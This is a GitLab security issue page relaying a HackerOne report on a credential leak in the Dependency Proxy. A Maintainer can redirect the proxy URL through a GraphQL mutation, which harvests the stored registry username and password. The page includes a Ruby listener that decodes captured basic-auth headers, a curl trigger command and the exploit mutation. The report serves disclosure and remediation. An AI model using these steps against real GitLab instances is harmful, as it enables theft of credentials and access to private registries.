Skip to content

Maintainer can leak Dependency Proxy password by changing Dependency Proxy URL via POST /api/graphql `updateDependencyProxyPackagesSettings` operation

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2466205 by ac7n0w on 2024-04-17, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary

I've discovered a vulnerability similar to the one reported in GitLab issue #385118, which can lead to the leakage of authentication information for the Dependency Proxy. Although restrictions have been implemented to prevent the password field of the Dependency Proxy from being exposed, I found a method to circumvent this check. An attacker can modify the URL of the Dependency Proxy and then trigger a dependency_proxy request to send the username and password to the attacker's server.

This vulnerability was verified on the v16.10.2-ee version. You must install version 16.10.2-ee (not the CE version) and have a license to enable Ultimate features. If you do not have a license, you can obtain one by following the instructions in the hackerone-triage-team-gitlab-licenses.

Steps to reproduce
  1. Install GitLab on the server <host> and create a project using the root account root/<repo_name>.
  2. Navigate to root/<repo_name> -> [Settings] -> [Packages and Registries], and locate the Dependency Proxy settings at the bottom of the page.
  3. Enable [Enable Dependency Proxy] and fill in the URL, Username, and Password.

set.png

  1. Run the following Ruby script to start an HTTP server to receive the password:
require 'webrick'  
require 'base64'

server = WEBrick::HTTPServer.new(:Port => 9000)  
server.mount_proc '/' do |req, res|  
  if req.header.key?("authorization") && !req.header["authorization"].empty?  
    auth_header = req.header["authorization"].to_s  
    encoded_credentials = auth_header.sub('Basic ', '')  
    decoded_credentials = Base64.decode64(encoded_credentials)  
    puts "Username:Password: #{decoded_credentials}"  
  else  
    puts "Authorization header is empty or not present"  
  end  
end

trap 'INT' do  
  server.shutdown  
end  
server.start  
  1. As I do not have access to a cloud server, I set up this HTTP server locally. To allow GitLab to access this server, I have previously allowed 'Allow requests to the local network' in [Admin Area] -> [Settings] -> [Outbound requests].

out.png

  1. Create an attacker account attacher and invite it as a Maintainer to become a member of root/<repo_name>.
  2. Set up a Burp proxy, log in as attacher, navigate to the Dependency Proxy settings page like root, modify the URL to our pre-configured address (do not enter a password). Upon clicking save, an error is displayed on the page.

error.png

  1. Find this request in the Burp's HTTP History.

http-history.png

  1. Send this request to the [Repeater], remove the mavenExternalRegistryPassword field, and resend the request. It is found that the setting can be successful.

repeater.png

  1. Replace <username>, <personal access token>, <host>, and <project_id> in the command below and execute it. You will find that the root user's password is printed out on the ruby server.
curl "https://<username>:<personal access token>@<host>/api/v4/projects/<project_id>/dependency_proxy/packages/maven/com/my_company/my_package/1.2.3/my_package-1.2.3.pom"  

print.png

Impact

  1. Maintainers can leak Dependency Proxy authentication credentials that should not be accessible after configuration.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

From #458484 (comment 1978587424)

Here are the simplified reproduction steps as we don't need a proxy at all:

  1. Setup the dependency proxy settings with any url + a username and password.

  2. Using /-/graphql-explorer, execute:

    mutation {
      updateDependencyProxyPackagesSettings (input: { projectPath: "<project path>", mavenExternalRegistryUrl: "<new url>"}) {
        dependencyProxyPackagesSetting {
          mavenExternalRegistryUrl
          mavenExternalRegistryUsername
        }
        errors
      }
    }
  3. <new url> should be a backend that reads and dumps the basic auth configuration.

  4. access api/v4/projects/<project_id>/dependency_proxy/packages/maven/foo/1/a and watch the backend on <new url> dumping the username and password of (1.).

Edited by Radamanthus Batnag